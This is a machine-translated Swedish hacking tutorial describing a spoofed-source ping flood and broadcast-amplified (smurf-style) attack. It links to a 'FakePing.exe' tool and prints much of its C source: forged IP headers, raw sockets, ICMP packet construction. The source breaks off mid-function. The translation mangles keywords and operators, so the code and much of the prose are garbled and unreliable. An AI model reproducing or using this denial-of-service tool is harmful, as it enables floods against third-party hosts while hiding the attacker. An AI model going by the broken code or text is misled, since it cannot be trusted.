Pinga IP-adressen för översvämning förtäckt attack



Nyligen många människor ringa dig igen för att gå med vad Ping döda vilken webbplats, men tekniskt, oavsett vad överbelastningsattacker, vi måste uppfylla ett villkor: med minst resurser i utbyte mot att vara den största konsumtionen av angriparen. Vi gillar att gå med Ping är inte bara konstigt: med den största resurs för varandra de minst skada, är löjligt: folkkrig 50 år sedan, sannolikt tillhör agera, och i internetåldern, inte hur många som kommer att kunna.

Idag är vi för Ping-talet, Ping är genom att skicka ICMP-meddelande (typ 8 kod 0) att undersöka förekomsten av nätverksvärdars ett verktyg, ett för länge sedan, en del av operativsystem (t.ex. Win95), är inte sköts väl stora Ping-paket , vilket resulterar i en Ping till Death attacker (Ping väska med en stor ruin varandra eller fyllda nätverk), med uppgradering av operativsystemet, nätverksbandbredd uppgraderingar, hårdvara uppgraderingar för närvarande nästan inga stora Ping-paket stora angrepp effekt (utom för distribuerad attack), om vi måste använda Ping-paket för att attackera andra värdar, om inte använder TCP / IP-protokoll eller andra egenskaper hos nätverkstopologin flesta förstärks intensiteten i attackerna (så kallad positiv feedback)

Under normala förhållanden Ping processen så här:

Host A skickar paket till den mottagande ICMP 8,0 B

Host B skickar tillbaka meddelanden till den mottagande ICMP 0,0 A

Eftersom ICMP fanns någon koppling på, så ge oss en möjlighet, förutsatt att den mottagande nu poserar som värd En skickar ICMP 8,0 C-paket, resultaten vad skulle hända? Kommer helt klart att den mottagande B värd C sända denna rapport är bort papperet

Svar på värd C skall följande struktur:

C fel maskerad som värd svar

Host A --------------------- Host B ------------------ Host C

Detta fall, som värd A bara fortsätta att skicka meddelanden utan att behöva ta itu med Ping tillbaka EchoReply, så ökningen attack styrka fördubblats, medan det i själva verket den mottagande B och värd C är att utgöra mål för attack och kommer inte att stanna under eget varumärke, är en dold attack två flugor i en smäll synsätt.

Metoder SOCK_RAW ovan IP lätt kamouflage, men även utvidgat två gånger, för de mer robusta operativsystemet och ju större bandbredd, inte heller har så stor inverkan, det gör vi organiserat igen sport? Inte rätt, låta fienden till oss för att förstora Tja, TCP / IP i ett koncept som kallas broadcast, den så kallade sändningar innebar att det en adress, en värd i LAN kommer att skickas till denna adress att ta emot meddelandet (samma som radiosändningar) om? göra? Ja! Om vi går till en broadcast-adress för att skicka ICMP ECHO paket (det Pinga broadcast adress det), kommer resultatet att bli en hel del svar, Ethernet, så att varje ta emot ett budskap som sprids kommer att stå värd svar en ICMP_ECHOREPLY, om du vill testa maskinen i unix Ping LAN massutskicksadress vad du kommer att se en hel del dup paket svar är att upprepa svaret, fönstren system, inte den typen av resultat, eftersom Microsoft Ping-programmet svarar inte på flera packats upp, det första paketet som mottagits efter det tappade bakom, och även Microsofts system inte svarar på broadcast-adressen till standard-paketet, så du bättre i många Unix-värd LAN test.

Här smart Du vet vad jag vill göra nu? Hey hey, ja, när vi låtsas vara en broadcast-adressen för att attackera den mottagande sänder Ping begäran tiden kommer alla broadcast-adressen i den mottagande svara på Ping begäran Detta motsvarar intensiteten i attackerna är N gånger! (N = broadcast-adressen att svara på Ping-paket i antalet värdar)

Maskerad som värd C har fel alla radiovärd svar

Värd för en --------------------- broadcast-adress ======================= == Host C

Jag skrev en FakePing verktyg kan du Http: / / www.patching.net / hagelgevär / FakePing.exe nedladdning.

Användning är FakePing.exe FakeIP TargetIP [PacketSize], om TargetIP är broadcast adress, då FakeIP riktades.

Källa meddelade enligt följande:

typedef struct _iphdr / / definition av IP-huvudet

(

osignerade röding h_verlen, / / 4 位 första minister grader, IP version 4

osignerade röding tos, / / 8 tjänster kommer typ TOS

osignerade korta total_len, / / 16 median total längd (bytes)

osignerade korta ident, / / 16-bitars identifiering

osignerade korta frag_and_flags, / / 3 flagg bitar

osignerade röding TTL, / / 8 Medianöverlevnaden för TTL

osignerade röding proto, / / 8-bitars (TCP, UDP eller annat)

osignerade kort kontrollsumma, / / 16 位 IP-huvudet kontrollsumma

osignerade int sourceIP, / / 32 digital källa IP-adress

osignerade int destIP, / / 32 位 Syftet med IP-adress

) IP_HEADER;

/ / Definiera ICMP-huvudet

typedef struct _ihdr

(

BYTE i_type, / / 8 bitar typ

BYTE i_code, / / 8 bitars koder

USHORT i_cksum, / / 16 bitars checksumma

USHORT i_id, / / identifieringsnummer (i allmänhet med processen nummer som ID-nummer)

USHORT i_seq, / / Meddelande löpnummer

ULONG tidsstämpel, / / tidsstämpel

) ICMP_HEADER;

/ / Checksumma: beräkna checksumma funktioner

USHORT kontrollsumma (USHORT * buffert, int storlek)

(

osignerade långa cksum = 0;

medan (storlek 1)

(

cksum + =* buffert + +;

storlek -= sizeof (USHORT);

)

if (storlek)

(

cksum + = * (UCHAR *) buffert;

)

cksum = (cksum 16) + (cksum & 0xFFFF);

cksum + = (cksum 16);

avkastning (USHORT) (~ cksum);

)

/ / FakePing huvuduppgift

int main (int argc, char ** argv)

(

int datasize, ErrorCode, räknare, flaggan;

int timeout = 2000, SendSEQ = 0, PacketSize = 32;

röding SendBuf [65.535] = (0);

WSADATA wsaData;

SOCKET SockRaw = (SOCKET) NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

röding FakeSourceIp [20], DestIp [20];

/ / Acceptera kommandoradsparametrarna

if (argc 3)

(

printf ("FakePing av Shotgun

");

printf ("Detta program kan göra Ping-Översvämningar från en FakeIP

");

printf ("Använda en Broadcast IP som FakeIP kommer att öka effekten

");

printf ("E-post:

");

printf ("Shotgun@Xici.Net

");

printf ("hemsida:

");

printf ("http://It.Xici.Net

");

printf ("http://www.Patching.Net

");

printf ("användning:

FakePing.exe FakeSourceIp DestinationIp [PacketSize]

");

printf ("Exempel:

");

printf ("FakePing.exe 192.168.15.23 192.168.15.255

");

printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400

");

exit (0);

)

strcpy (FakeSourceIp, argv [1]);

strcpy (DestIp, argv [2]);

if (argc 3) PacketSize = atoi (argv [3]);

if (PacketSize 60.000)

(

printf ("Fel! Packet storlek för stor, måste 60K

");

exit (0);

)

printf ("Nu Fake% s Ping% s med Packet size =% d byte

"

FakeSourceIp, DestIp, PacketSize);

printf ("Ctrl + C för att Avsluta

");

/ / Initiera SOCK_RAW

if ((ErrorCode = WSAStartup (MAKEWORD (2,1), & wsaData))! = 0)

(

fprintf (stderr, "WSAStartup misslyckades:% d

"ErrorCode);

ExitProcess (STATUS_FAILED);

)

if ((SockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

(

fprintf (stderr, "WSASocket () misslyckades:% d

"WSAGetLastError ());

ExitProcess (STATUS_FAILED);

)

flagga = TRUE;

/ / Ställ IP_HDRINCL fylla sin egen IP-header

ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & flagg, sizeof (int));

if (ErrorCode == SOCKET_ERROR)

printf ("Ange IP_HDRINCL Fel!

");

__try

(

/ / Ställ skicka timeout

ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));

if (ErrorCode == SOCKET_ERROR)

(

fprintf (stderr, "Kunde inte ställa skicka TimeOut:% d

"WSAGetLastError ());

__leave;

)

memset (& DestAddr, 0, sizeof (DestAddr));

DestAddr.sin_family = AF_INET;

DestAddr.sin_addr.s_addr = inet_addr (DestIp);

/ / Fyll IP-header

ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / hög 4 IP version antal, den första ministern till den låga graden av fyra

ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 median total längd (bytes)

ip_header.ident = 1;

/ / 16 ID

ip_header.frag_and_flags = 0;

/ / 3 flagg

ip_header.ttl = 128;

/ / 8-bitars TTL överlevnadstid

ip_header.proto = IPPROTO_ICMP;